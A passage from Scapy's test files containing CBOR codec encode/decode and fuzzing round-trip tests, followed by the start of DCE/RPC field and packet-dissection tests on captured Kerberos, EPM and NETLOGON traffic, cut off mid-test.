Negative Integers\n\n= nint encoding size 0\nobj = CBOR_NEGATIVE_INTEGER(-0x13)\ndata = bytes(obj)\ndata == bytes.fromhex('32')\n\n= nint decoding size 0\ndata = bytes.fromhex('32')\nobj, remainder = CBOR_Codecs.CBOR.dec(data)\nobj.val == -0x13 and isinstance(obj, CBOR_NEGATIVE_INTEGER) and remainder == b''\n\n= nint decoding size 2\ndata = bytes.fromhex('391234')\nobj, remainder = CBOR_Codecs.CBOR.dec(data)\nobj.val == (-0x1234 - 1) and isinstance(obj, CBOR_NEGATIVE_INTEGER) and remainder == b''\n\n+ CBOR Byte String Edge Cases\n\n= bstr encoding with specific content\nobj = CBOR_BYTE_STRING(b'hi')\ndata = bytes(obj)\ndata == bytes.fromhex('426869')\n\n= bstr decoding with specific content\ndata = bytes.fromhex('426869')\nobj, remainder = CBOR_Codecs.CBOR.dec(data)\nobj.val == b'hi' and isinstance(obj, CBOR_BYTE_STRING) and remainder == b''\n\n= bstr longer content (24 bytes)\ncontent = b'longlonglonglonglonglong'\nobj = CBOR_BYTE_STRING(content)\ndata = bytes(obj)\n# Should use 1-byte length encoding (0x58 = major type 2, additional info 24)\ndata[:2] == bytes.fromhex('5818') and data[2:] == content\n\n= bstr decoding longer content\ndata = bytes.fromhex('58186c6f6e676c6f6e676c6f6e676c6f6e676c6f6e676c6f6e67')\nobj, remainder = CBOR_Codecs.CBOR.dec(data)\nobj.val == b'longlonglonglonglonglong' and remainder == b''\n\n+ CBOR Text String Edge Cases\n\n= tstr encoding with specific content\nobj = CBOR_TEXT_STRING('hi')\ndata = bytes(obj)\ndata == bytes.fromhex('626869')\n\n= tstr decoding with specific content\ndata = bytes.fromhex('626869')\nobj, remainder = CBOR_Codecs.CBOR.dec(data)\nobj.val == 'hi' and isinstance(obj, CBOR_TEXT_STRING) and remainder == b''\n\n= tstr longer content (24 chars)\ncontent = 'longlonglonglonglonglong'\nobj = CBOR_TEXT_STRING(content)\ndata = bytes(obj)\n# Should use 1-byte length encoding (0x78 = major type 3, additional info 24)\ndata[:2] == bytes.fromhex('7818') and data[2:] == content.encode('utf8')\n\n= tstr decoding longer content\ndata = bytes.fromhex('78186c6f6e676c6f6e676c6f6e676c6f6e676c6f6e676c6f6e67')\nobj, remainder = CBOR_Codecs.CBOR.dec(data)\nobj.val == 'longlonglonglonglonglong' and remainder == b''\n\n+ CBOR Array Specific Encodings\n\n= array encoding with mixed integer types\nfrom scapy.cbor.cborcodec import CBORcodec_ARRAY\n# Array with positive 10 and negative 20\nencoded = CBORcodec_ARRAY.enc([10, -20])\ndecoded, _ = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(decoded, CBOR_ARRAY) and len(decoded.val) == 2\n\n= array decoding specific encoding\ndata = bytes.fromhex('820A33')  # array(2): [10, -20]\nobj, remainder = CBOR_Codecs.CBOR.dec(data)\nisinstance(obj, CBOR_ARRAY) and len(obj.val) == 2 and remainder == b''\n\n+ CBOR Map Specific Encodings\n\n= map encoding with integer keys\nfrom scapy.cbor.cborcodec import CBORcodec_MAP\nencoded = CBORcodec_MAP.enc({10: -20})\ndecoded, _ = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(decoded, CBOR_MAP) and len(decoded.val) == 1\n\n= map decoding specific encoding\ndata = bytes.fromhex('A10A33')  # map(1): {10: -20}\nobj, remainder = CBOR_Codecs.CBOR.dec(data)\nisinstance(obj, CBOR_MAP) and len(obj.val) == 1 and remainder == b''\n\n+ CBOR Float Specific Encodings\n\n= float64 encoding specific value\nobj = CBOR_FLOAT(1.5e20)\ndata = bytes(obj)\ndata == bytes.fromhex('FB442043561A882930')\n\n= float64 decoding specific value\ndata = bytes.fromhex('FB442043561A882930')\nobj, remainder = CBOR_Codecs.CBOR.dec(data)\nisinstance(obj, CBOR_FLOAT) and obj.val == 1.5e20 and remainder == b''\n\n+ CBOR Multiple Item Decoding\n\n= decode multiple items in sequence\ndata = bytes.fromhex('010203')  # Three unsigned integers: 1, 2, 3\nobj1, remainder1 = CBOR_Codecs.CBOR.dec(data)\nobj2, remainder2 = CBOR_Codecs.CBOR.dec(remainder1)\nobj3, remainder3 = CBOR_Codecs.CBOR.dec(remainder2)\nobj1.val == 1 and obj2.val == 2 and obj3.val == 3 and remainder3 == b''\n\n= decode nested array with specific encoding\ndata = bytes.fromhex('8201820203')  # array(2): [1, array(2): [2, 3]]\nobj, remainder = CBOR_Codecs.CBOR.dec(data)\nisinstance(obj, CBOR_ARRAY) and len(obj.val) == 2 and remainder == b'' and isinstance(obj.val[1], CBOR_ARRAY)\n\n+ CBOR Boundary Value Tests\n\n= encode maximum value that fits in each size\n# Maximum for size 0 (0-23)\nobj = CBOR_UNSIGNED_INTEGER(23)\nbytes(obj) == bytes.fromhex('17')\n\n= encode minimum value needing size 1\nobj = CBOR_UNSIGNED_INTEGER(24)\nbytes(obj) == bytes.fromhex('1818')\n\n= encode maximum value for size 1\nobj = CBOR_UNSIGNED_INTEGER(255)\nbytes(obj) == bytes.fromhex('18ff')\n\n= encode minimum value needing size 2\nobj = CBOR_UNSIGNED_INTEGER(256)\nbytes(obj) == bytes.fromhex('190100')\n\n= negative integer boundary at -24\nobj = CBOR_NEGATIVE_INTEGER(-24)\nbytes(obj) == bytes.fromhex('37')\n\n= negative integer boundary at -25\nobj = CBOR_NEGATIVE_INTEGER(-25)\nbytes(obj) == bytes.fromhex('3818')\n\n+ CBOR Empty Container Tests\n\n= encode empty array\nfrom scapy.cbor.cborcodec import CBORcodec_ARRAY\nencoded = CBORcodec_ARRAY.enc([])\ndecoded, _ = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(decoded, CBOR_ARRAY) and len(decoded.val) == 0\n\n= encode empty map\nfrom scapy.cbor.cborcodec import CBORcodec_MAP\nencoded = CBORcodec_MAP.enc({})\ndecoded, _ = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(decoded, CBOR_MAP) and len(decoded.val) == 0\n\n= encode empty byte string\nobj = CBOR_BYTE_STRING(b'')\ndata = bytes(obj)\ndata == bytes.fromhex('40')\n\n= encode empty text string\nobj = CBOR_TEXT_STRING('')\ndata = bytes(obj)\ndata == bytes.fromhex('60')\n\n########### CBOR Fuzzing / Random Object Tests ####################\n\n+ CBOR Random Object Generation\n\n= Create RandCBORObject\nfrom scapy.cbor import RandCBORObject\nrand = RandCBORObject()\nisinstance(rand, RandCBORObject)\n\n= Generate random CBOR unsigned integer\nfrom scapy.cbor import RandCBORObject, CBOR_UNSIGNED_INTEGER\nrand = RandCBORObject(objlist=[CBOR_UNSIGNED_INTEGER])\nobj = rand._fix()\nisinstance(obj, CBOR_UNSIGNED_INTEGER) and isinstance(obj.val, int) and obj.val >= 0\n\n= Generate random CBOR negative integer\nfrom scapy.cbor import RandCBORObject, CBOR_NEGATIVE_INTEGER\nrand = RandCBORObject(objlist=[CBOR_NEGATIVE_INTEGER])\nobj = rand._fix()\nisinstance(obj, CBOR_NEGATIVE_INTEGER) and isinstance(obj.val, int) and obj.val < 0\n\n= Generate random CBOR byte string\nfrom scapy.cbor import RandCBORObject, CBOR_BYTE_STRING\nrand = RandCBORObject(objlist=[CBOR_BYTE_STRING])\nobj = rand._fix()\nisinstance(obj, CBOR_BYTE_STRING) and isinstance(obj.val, bytes)\n\n= Generate random CBOR text string\nfrom scapy.cbor import RandCBORObject, CBOR_TEXT_STRING\nrand = RandCBORObject(objlist=[CBOR_TEXT_STRING])\nobj = rand._fix()\nisinstance(obj, CBOR_TEXT_STRING) and isinstance(obj.val, str) and len(obj.val) > 0\n\n= Generate random CBOR array\nfrom scapy.cbor import RandCBORObject, CBOR_ARRAY\nrand = RandCBORObject(objlist=[CBOR_ARRAY])\nobj = rand._fix()\nisinstance(obj, CBOR_ARRAY) and isinstance(obj.val, list)\n\n= Generate random CBOR map\nfrom scapy.cbor import RandCBORObject, CBOR_MAP\nrand = RandCBORObject(objlist=[CBOR_MAP])\nobj = rand._fix()\nisinstance(obj, CBOR_MAP) and isinstance(obj.val, dict)\n\n= Generate random CBOR boolean (false)\nfrom scapy.cbor import RandCBORObject, CBOR_FALSE\nrand = RandCBORObject(objlist=[CBOR_FALSE])\nobj = rand._fix()\nisinstance(obj, CBOR_FALSE) and obj.val == False\n\n= Generate random CBOR boolean (true)\nfrom scapy.cbor import RandCBORObject, CBOR_TRUE\nrand = RandCBORObject(objlist=[CBOR_TRUE])\nobj = rand._fix()\nisinstance(obj, CBOR_TRUE) and obj.val == True\n\n= Generate random CBOR null\nfrom scapy.cbor import RandCBORObject, CBOR_NULL\nrand = RandCBORObject(objlist=[CBOR_NULL])\nobj = rand._fix()\nisinstance(obj, CBOR_NULL) and obj.val is None\n\n= Generate random CBOR undefined\nfrom scapy.cbor import RandCBORObject, CBOR_UNDEFINED\nrand = RandCBORObject(objlist=[CBOR_UNDEFINED])\nobj = rand._fix()\nisinstance(obj, CBOR_UNDEFINED) and obj.val is None\n\n= Generate random CBOR float\nfrom scapy.cbor import RandCBORObject, CBOR_FLOAT\nrand = RandCBORObject(objlist=[CBOR_FLOAT])\nobj = rand._fix()\nisinstance(obj, CBOR_FLOAT) and isinstance(obj.val, float)\n\n+ CBOR Random Object Encoding/Decoding\n\n= Encode and decode random unsigned integer\nfrom scapy.cbor import RandCBORObject, CBOR_UNSIGNED_INTEGER, CBOR_Codecs\nrand = RandCBORObject(objlist=[CBOR_UNSIGNED_INTEGER])\nobj = rand._fix()\nencoded = bytes(obj)\ndecoded, remainder = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(decoded, CBOR_UNSIGNED_INTEGER) and remainder == b'' and decoded.val == obj.val\n\n= Encode and decode random text string\nfrom scapy.cbor import RandCBORObject, CBOR_TEXT_STRING, CBOR_Codecs\nrand = RandCBORObject(objlist=[CBOR_TEXT_STRING])\nobj = rand._fix()\nencoded = bytes(obj)\ndecoded, remainder = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(decoded, CBOR_TEXT_STRING) and remainder == b'' and decoded.val == obj.val\n\n= Encode and decode random byte string\nfrom scapy.cbor import RandCBORObject, CBOR_BYTE_STRING, CBOR_Codecs\nrand = RandCBORObject(objlist=[CBOR_BYTE_STRING])\nobj = rand._fix()\nencoded = bytes(obj)\ndecoded, remainder = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(decoded, CBOR_BYTE_STRING) and remainder == b'' and decoded.val == obj.val\n\n= Encode and decode random array\nfrom scapy.cbor import RandCBORObject, CBOR_ARRAY, CBOR_Codecs\nrand = RandCBORObject(objlist=[CBOR_ARRAY])\nobj = rand._fix()\nencoded = bytes(obj)\ndecoded, remainder = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(decoded, CBOR_ARRAY) and remainder == b'' and len(decoded.val) == len(obj.val)\n\n= Encode and decode random map\nfrom scapy.cbor import RandCBORObject, CBOR_MAP, CBOR_Codecs\nrand = RandCBORObject(objlist=[CBOR_MAP])\nobj = rand._fix()\nencoded = bytes(obj)\ndecoded, remainder = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(decoded, CBOR_MAP) and remainder == b'' and len(decoded.val) == len(obj.val)\n\n= Encode and decode random float\nfrom scapy.cbor import RandCBORObject, CBOR_FLOAT, CBOR_Codecs\nrand = RandCBORObject(objlist=[CBOR_FLOAT])\nobj = rand._fix()\nencoded = bytes(obj)\ndecoded, remainder = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(decoded, CBOR_FLOAT) and remainder == b''\n\n+ CBOR Random Mixed Types\n\n= Generate multiple random objects of different types\nfrom scapy.cbor import RandCBORObject\nrand = RandCBORObject()\nobjects = [rand._fix() for _ in range(10)]\nlen(objects) == 10 and all(hasattr(obj, 'val') for obj in objects)\n\n= Encode and decode multiple random objects\nfrom scapy.cbor import RandCBORObject, CBOR_Codecs\nrand = RandCBORObject()\nsuccess_count = 0\nfor _ in range(20):\n    obj = rand._fix()\n    try:\n        encoded = bytes(obj)\n        decoded, remainder = CBOR_Codecs.CBOR.dec(encoded)\n        if remainder == b'':\n            success_count += 1\n    except:\n        pass\n\nsuccess_count >= 18\n\n= Random nested arrays encode/decode correctly\nfrom scapy.cbor import RandCBORObject, CBOR_ARRAY, CBOR_Codecs\nrand = RandCBORObject(objlist=[CBOR_ARRAY])\nobj = rand._fix()\nencoded = bytes(obj)\ndecoded, remainder = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(decoded, CBOR_ARRAY) and remainder == b''\n\n= Random nested maps encode/decode correctly\nfrom scapy.cbor import RandCBORObject, CBOR_MAP, CBOR_Codecs\nrand = RandCBORObject(objlist=[CBOR_MAP])\nobj = rand._fix()\nencoded = bytes(obj)\ndecoded, remainder = CBOR_Codecs.CBOR.dec(encoded)\nisinstance(decoded, CBOR_MAP) and remainder == b''\n\n+ CBOR Fuzzing Stress Tests\n\n= Generate 100 random objects without errors\nfrom scapy.cbor import RandCBORObject\nrand = RandCBORObject()\nobjects = []\nfor _ in range(100):\n    obj = None\n    try:\n        obj = rand._fix()\n    except:\n        pass\n    if obj is not None:\n        objects.append(obj)\n\nlen(objects) >= 95\n\n= Encode 50 random objects without errors\nfrom scapy.cbor import RandCBORObject\nrand = RandCBORObject()\nencoded_count = 0\nfor _ in range(50):\n    obj = rand._fix()\n    try:\n        encoded = bytes(obj)\n        if len(encoded) > 0:\n            encoded_count += 1\n    except:\n        pass\n\nencoded_count >= 45\n\n= Roundtrip 50 random objects\nfrom scapy.cbor import RandCBORObject, CBOR_Codecs\nrand = RandCBORObject()\nroundtrip_count = 0\nfor _ in range(50):\n    obj = rand._fix()\n    try:\n        encoded = bytes(obj)\n        decoded, remainder = CBOR_Codecs.CBOR.dec(encoded)\n        if remainder == b'':\n            roundtrip_count += 1\n    except:\n        pass\n\nroundtrip_count >= 45\n"
  },
  {
    "path": "test/scapy/layers/dcerpc.uts",
    "content": "% DCE/RPC layer test campaign\n\n+ Syntax check\n= Import the DCE/RPC layer\nimport re\nfrom scapy.layers.dcerpc import *\nfrom uuid import UUID\n\nold_debug_dissector = conf.debug_dissector\nconf.debug_dissector = 2\nTrue\n\n+ Check EField\n\n= Little Endian IntField getfield\nf = EField(IntField('f', 0), '<')\nf.getfield(None, hex_bytes('0102030405')) == (b'\\x05', 0x04030201)\n\n= Little Endian IntField addfield\nf = EField(IntField('f', 0), '<')\nf.addfield(None, b'\\x01', 0x05040302) == hex_bytes('0102030405')\n\n= Big Endian IntField getfield\nf = EField(IntField('f', 0), '>')\nf.getfield(None, hex_bytes('0102030405')) == (b'\\x05', 0x01020304)\n\n= Big Endian IntField addfield\nf = EField(IntField('f', 0), '>')\nf.addfield(None, b'\\x01', 0x02030405) == hex_bytes('0102030405')\n\n= Little Endian StrField getfield\nf = EField(StrField('f', 0), '<')\nf.getfield(None, '0102030405') == (b'', '0102030405')\n\n= Little Endian StrField addfield\nf = EField(StrField('f', 0), '<')\nf.addfield(None, b'01', '02030405') == b'0102030405'\n\n= Big Endian StrField getfield\nf = EField(StrField('f', 0), '>')\nf.getfield(None, '0102030405') == (b'', '0102030405')\n\n= Big Endian StrField addfield\nf = EField(StrField('f', 0), '>')\nf.addfield(None, b'01', '02030405') == b'0102030405'\n\n= Little Endian UUIDField getfield\n* The endianness of a UUIDField should be apply by block on each block in\n* parenthesis '(01234567)-(89ab)-(cdef)-(01)(23)-(45)(67)(89)(ab)(cd)(ef)'\n\nf = EField(UUIDField('f', None), '<')\nf.getfield(None, hex_bytes('0123456789abcdef0123456789abcdef')) == (b'', UUID('67452301-ab89-efcd-0123-456789abcdef'))\n\n= Little Endian UUIDField addfield\nf = EField(UUIDField('f', '01234567-89ab-cdef-0123-456789abcdef'), '<')\nf.addfield(None, b'', f.default) == hex_bytes('67452301ab89efcd0123456789abcdef')\n\n= Big Endian UUIDField getfield\nf = EField(UUIDField('f', None), '>')\nf.getfield(None, hex_bytes('0123456789abcdef0123456789abcdef')) == (b'', UUID('01234567-89ab-cdef-0123456789abcdef'))\n\n= Big Endian UUIDField addfield\nf = EField(UUIDField('f', '01234567-89ab-cdef-0123-456789abcdef'), '>')\nf.addfield(None, b'', f.default) == hex_bytes('0123456789abcdef0123456789abcdef')\n\n+ DCE/RPC v5\n\n= Dissect DCE/RPC v5 Request with Kerberos GSSAPI/RFC1964\n\npkt = DceRpc(b\"\\x05\\x00\\x00\\x03\\x10\\x00\\x00\\x00\\xcd\\x00-\\x00\\x01\\x00\\x00\\x00x\\x00\\x00\\x00\\x00\\x00\\x00\\x00j\\x87\\xb4\\xa8DrE3\\xfa\\xc1\\x1d\\x9e\\xb7\\x8a_\\xffr\\xbe\\x13\\xc4<\\x85\\xf0\\xf2'y\\x84t%u|e\\xef/\\x04\\xb0m\\x98\\xb1\\xd2\\x00KwW#P\\x8f2\\xecB\\x81\\x19\\xf3g\\xd2o[\\x07L-\\xb8\\x89\\x05\\xcf?\\xcf\\t\\xeb\\xb3&&6\\xb7\\x84\\xb6\\xcd8Ao\\x8c\\x94\\xca\\x03\\xe3\\x0e\\x86'-\\xfaHj\\xcez\\xf0A\\x83\\x9dX\\r\\xe8\\x96\\x07Bs\\xaf\\x9c[=2\\x9eS\\xb1\\x18\\x84 \\xb4y\\n9\\xdf\\x92\\x1c\\xd8\\xe2e\\xd3^,\\t\\x06\\x08\\x00pj\\x8f\\x04`+\\x06\\t*\\x86H\\x86\\xf7\\x12\\x01\\x02\\x02\\x02\\x01\\x11\\x00\\x10\\x00\\xff\\xffp\\xc0\\\\m\\xfe\\xa4\\xe1!\\xf7\\xdf\\xbf\\xa4\\xad\\xdf\\xcb\\x16\\x1e\\xb5+{\\x97\\xaf\\xd5~\")\nassert pkt.auth_verifier.auth_type == 9\npkt.show()\nassert pkt.auth_verifier.auth_value.MechType.oidname == 'Kerberos 5'\nassert isinstance(pkt.auth_verifier.auth_value.innerToken, KRB_InnerToken)\nassert DceRpc5Request in pkt\nassert pkt[DceRpc5Request].alloc_hint == 120\nassert pkt[DceRpc5Request].opnum == 0\n\n= Dissect DCE/RPC v5 Request EPM map request\n\npkt = Ether(b'\\x00\\x0c)\\xe1\\xde{\\x00\\x0c)\\x05\\xe0\\xd9\\x08\\x00E\\x00\\x00\\xc4\"\\x92@\\x00\\x80\\x06\\xb3\\x86\\n\\x01\\x0f\\x19\\n\\x01\\x01\\x01\\x05=\\x00\\x87\\x1e\\x1b\\x8f\\x12\\x02\\x8ee\\x19P\\x18\\xff\\xb7 ^\\x00\\x00\\x05\\x00\\x00\\x03\\x10\\x00\\x00\\x00\\x9c\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x84\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00K\\x00\\x00\\x00K\\x00\\x00\\x00\\x05\\x00\\x13\\x00\\r5BQ\\xe3\\x06K\\xd1\\x11\\xab\\x04\\x00\\xc0O\\xc2\\xdc\\xd2\\x04\\x00\\x02\\x00\\x00\\x00\\x13\\x00\\r\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x02\\x00\\x00\\x00\\x01\\x00\\x0b\\x02\\x00\\x00\\x00\\x01\\x00\\x07\\x02\\x00\\x00\\x87\\x01\\x00\\t\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00')\nassert pkt.auth_verifier is None\nassert pkt[DceRpc5Request].alloc_hint == 132\nassert pkt[DceRpc5Request].opnum == 3 \n\n= Dissect DCE/RPC v5 Bind request with NETLOGON secure channel\n\npkt = DceRpc(b'\\x05\\x00\\x0b\\x07\\x10\\x00\\x00\\x00\\xe4\\x00(\\x00\\x02\\x00\\x00\\x00\\xd0\\x16\\xd0\\x16\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x01\\x00xV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x00\\x00\\x04]\\x88\\x8a\\xeb\\x1c\\xc9\\x11\\x9f\\xe8\\x08\\x00+\\x10H`\\x02\\x00\\x00\\x00\\x01\\x00\\x01\\x00xV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x00\\x003\\x05qq\\xba\\xbe7I\\x83\\x19\\xb5\\xdb\\xef\\x9c\\xcc6\\x01\\x00\\x00\\x00\\x02\\x00\\x01\\x00xV4\\x124\\x12\\xcd\\xab\\xef\\x00\\x01#Eg\\xcf\\xfb\\x01\\x00\\x00\\x00,\\x1c\\xb7l\\x12\\x98@E\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00D\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x17\\x00\\x00\\x00DOMAIN\\x00WIN1\\x00\\x06domain\\x05local\\x00\\x04WIN1\\x00')\n\nassert pkt.auth_verifier.auth_value.NetbiosDomainName == b\"DOMAIN\"\nassert pkt.auth_verifier.auth_value.DnsDomainName == b\"domain.local.\"\n\nassert pkt.n_context_elem == 3\nassert pkt[DceRpc5Bind].context_elem[0].transfer_syntaxes[0].sprintf(\"%if_uuid%\") == 'NDR 2.0'\nassert pkt[DceRpc5Bind].context_elem[1].transfer_syntaxes[0].sprintf(\"%if_uuid%\") == 'NDR64'\nassert pkt[DceRpc5Bind].context_elem[2].transfer_syntaxes[0].sprintf(\"%if_uuid%\") == 'Bind Time Feature Negotiation'\n\n= Dissect DCE/RPC v5 Bind Response with NETLOGON secure channel\n\npkt = DceRpc(b'\\x05\\x00\\x0c\\x07\\x10\\x00\\x00\\x00\\x80\\x00\\x0c\\x00\\x02\\x00\\x00\\x00\\xd0\\x16\\xd0\\x16=F\\x00\\x00\\x06\\x0049676\\x00\\x03\\x00\\x00\\x00\\x02\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x003\\x05qq\\xba\\xbe7I\\x83\\x19\\xb5\\xdb\\xef\\x9c\\xcc6\\x01\\x00\\x00\\x00\\x03\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00D\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00')\nassert pkt[DceRpc5BindAck].sec_addr.port_spec == b'49676\\x00'\nassert pkt[DceRpc5BindAck].results[1].result == 0\nassert pkt[DceRpc5BindAck].results[1].transfer_syntax.sprintf(\"%if_uuid%\") == 'NDR64'\n\n= Dissect DCE/RPC v5 Response with NETLOGON secure channel\n\npkt = DceRpc(b'\\x05\\x00\\x02\\x03\\x10\\x00\\x00\\x00\\x98\\x038\\x00\\x02\\x00\\x00\\x004\\x03\\x00\\x00\\x01\\x00\\x00\\x00\\x88\\xd6k\\xac\\xab^\\xafqA^\\xee\\x8e\\xce\\x16\\x86i\\xe5A\\xafK#\\xeb%\\'l\\x88\\xd4A\\x0f\\xa6>\\xaf\\xed\\xf65\\xf0\\xf9\\xf25\\x89\\xf5\\xc5r\\xe6;t\\xf5\\x80 \\x80~\\xf6\\x0cRQ\\x0b\\xea\\xc2}\\x8a>\\x08\\xc9\\x04\\x9c\\xdcOj\\xa3\\x0c\\x82~\\xfe\\xa6\\xa3\\x01^ \\xee\\xd3\\xd2yf\\xfa\\xfbL\\xec&\\x8b60\\xb9\\x83j\\x84\\xa0\\xbc*G\\xe25\\x1a\\r\\xf3\\xc8\\xa6ib9\\x87\\xcbt%\\x17\\xf8g\\x17\\x1cIR\\xd5\\'wW\\xbedZbXv\\xb7\\xe5?#$(\\xae\\x06\\x9e\\xce\\xe1K\\xd9\\'\\x9fG\\xde\\xff\\xc9j\\xd7\\xa4\\x04\\xcb]-\\xbcr\\xb9+\\xdax\\xee\\xa3\\xce\\x9c\\x15\\x0c/\\xb2\\xcb\\xaaF\\t\\x07/AQM\\x18t\\xdc\\xea\\x019\\x11TOy\\xf7\\x7f\\xd1\\x87\\xc7m\\xea>\\x84Y\\xc3\\xef\\xd0\\xa6e\\xb0g\\xc3\\x12\\xd9\\xc4~$\\xb8\\xfc/0\\x86\\x0e0\\x8c`5lU\\xd1\\xbf8\\xd2\\xcb\\xb1%\\xfa\\xfabr\\x10\\x9a\\xf8\\xb7\\xb1\\x01$wU\\x17r\\x03Z\\xdc\\xdd^\\xecU\\xc1\\xf1\\x87\\xad\\xa1\\xea\\xd8\\xf2\\x82\\xa8\\x95\\xd4\\xd2\\xc6\\x8e\\xf1\\xcfN1k\\xdc\\xc3\\xf7o]q\\'a\\xa3Y\\r97\\xfe.8O\\xf9\\xa7\\x93\\xd3\\x99?K\\x8bv.\\xac=t\\r\\xba\\xca\\xd0\\x82\\xd8\\x81\\xaf\\xe6cv\\xbe\\xcbN\\x93\\x9d\\x0e\\xd4\\x119d\\x83/u\\xc8\\xb2\\x1c/q\\xf0\"\\xc4\\x04\\xadB\\xe3N\\xed\\xbbR\\xc4yO\\x1fQ\\xdd}\\xd2\\xe3c\\x1e\\xec\\xc7\\xc4\\xf8\\xf6OV\\xe5\\x00*\\xb0\\t\\xbd\\xf0\\xe5j\\xbf\\xa3\\xe0\\x85\\xa0\\x81\\xc6\\xb96\\xb9\\xec\\xd7I\\x16_\\xe7K\\xb2D\\xad\\xb5\\x7fG\\xb9\\x9by\\xe2\\xd9\\xcf\\xe7J\\x83Y-\\xa7:\\xa3\\x16\\xe7\\xce\\xf9\\xf5\\xeb\\x88z&Je\\xcb\\x94\\'\\xdc?\\xbf\\xed!\\x1a\\xb3sI\\xb5o\\x00\\x8dJ\\xd9\\xed\\x160+\\x11nD\\xd0QIo]A\\xc0\\x89\\xa8\\xb2\\xc9\\xb6\\xc7,\\xf0V\\x8a\\xae\\xa6\\x97\\x8e\\x91tO\\x8c\\x94\\x08\\xf1ru\\x87e\\x0bq6\\x8aZ\\xb9\\xf3\\xb7\\xbb\\xaf;\\x89\\xdf\\x8b\\xbf\\tA\\xef\\xe3\\x07\\x0fT\\xed\\xbb\\x072\\x8eQ\\xf4\\xce\\x194A\\\\w\\xb4\\x88\\xff[\\xcf\\x91N\\x1b\\xfb\\xe3\\xcb~\\xe9\\xfc\\x195\\x0f&96\\x05\\x9a\\xe4\\xc0~\\xd9\\x0b\\xfd\\xbc\\xc9\\x8fTXY\\x9f\\xe4\\x87e!\\x93$$\\x0b\\xfc\\xe7Jm8\\x18\\xb5\\xad\\xff\\x85\\xc3\\xe2%\\xd5{\\x8bs\\xa7\\xb0\\x1e\\x0ei<v?\\xd4\\xd5\\x12L\\x1dBfj[\\x99\\x90\\xf4p\\x7f\\xbbx\\x01\\xe9\\x055\\x9b\\xc2\\xc5X\\x11~\\x98\\x8b,\\x17\\xd5\\xf0b=\\x0c\\xd0\\x9d3\\xb3\\xde\\x8b\\xfbS\\x8e5\\x82U\\x1bz\\xf3\\xa4E\\xcbsri\\x01`\\x82\\x16\\xaa\\xab\\x84\\x15\\x93\\xf4\\x86{\\x94\\x10b\\xc50\\x90\\x93\\x84mH\\xf0\\xeb\\xbfh{#\\xe1\\xa2\\xa1\\x97\\x7fQ\\x90\\xc0\\xedC\\x8e\\xdc\\xd4{\\x84\\xf2zb\\xe12\\x1cK\\x91\\xe8\\xc3\\xd6\\xf1\\x1a\\xf1:o4\\xba\\xfd~L.\\xe8\\xf3`L\\xec\\xe3\\xea\\xf5\\xca\\x95y\\xc0\\x15T\\xce\\xec\\xa2wtS\\xfa\\x07\\x06me\\x15m\\xacy\"\\x15O\\xdc\\xcf\"\\x8d\\xdc\\xd4\\xaa\\x7f\\xbf\\x04\\xee\\xd1rY\\x14|\\xa4\\xe3rjG&\\xd0\\xaf?\\xcf\\xd2\\xd1%\\xb0\\x1a\\xa5\\x95e$\\xd5-\\x92t!+}}\\xf6\\x17\\xb5\\x04\\xe7\\xf8\\xd7\\xe2\\x0bE\\xed\\xbc\\xa2\\xab\\x92\\xf5\\xd5\\t\\xb4P\\xf9\\x95\\xb1B\\xdey\\xf7hi2(\\xe5B\\xb8s\\xb98;\\x81\\xd0;\\x173\\xb1\\x82\\x0e\\xe0\\xb6\\x88i\\xa7M\\x99\\x16\\x96+\\x02yD\\x06\\x0c\\x00\\x00\\x00\\x00\\x00\\x13\\x00\\x1a\\x00\\xff\\xff\\x00\\x00\\xd2\\xd27\\xc2sC\\xc4\"G\\x91\\xb3\\n\\xf9\\xb5=O?\\xeb\\x15|\\xdd\\xed\\x1c\\xde\\xa1l!p\\x01\\xe9\\x06L\\xf1i45\\xfajY\\xbc\\x03\\xdd\\x8bg\\xe1\\xd3\\xed\\x91')\nassert pkt.auth_verifier.auth_value.sprintf(\"%SignatureAlgorithm%\") == 'HMAC-SHA256'\nassert pkt.auth_verifier.auth_value.SequenceNumber == b'\\xd2\\xd27\\xc2sC\\xc4\"'\nassert len(pkt.load) == pkt.alloc_hint\nassert len(pkt.auth_padding) == pkt.auth_verifier.auth_pad_length\nassert pkt.alloc_hint == 820\n\n= Build and dissect DCE/RPC with auth_pad\n\npkt = 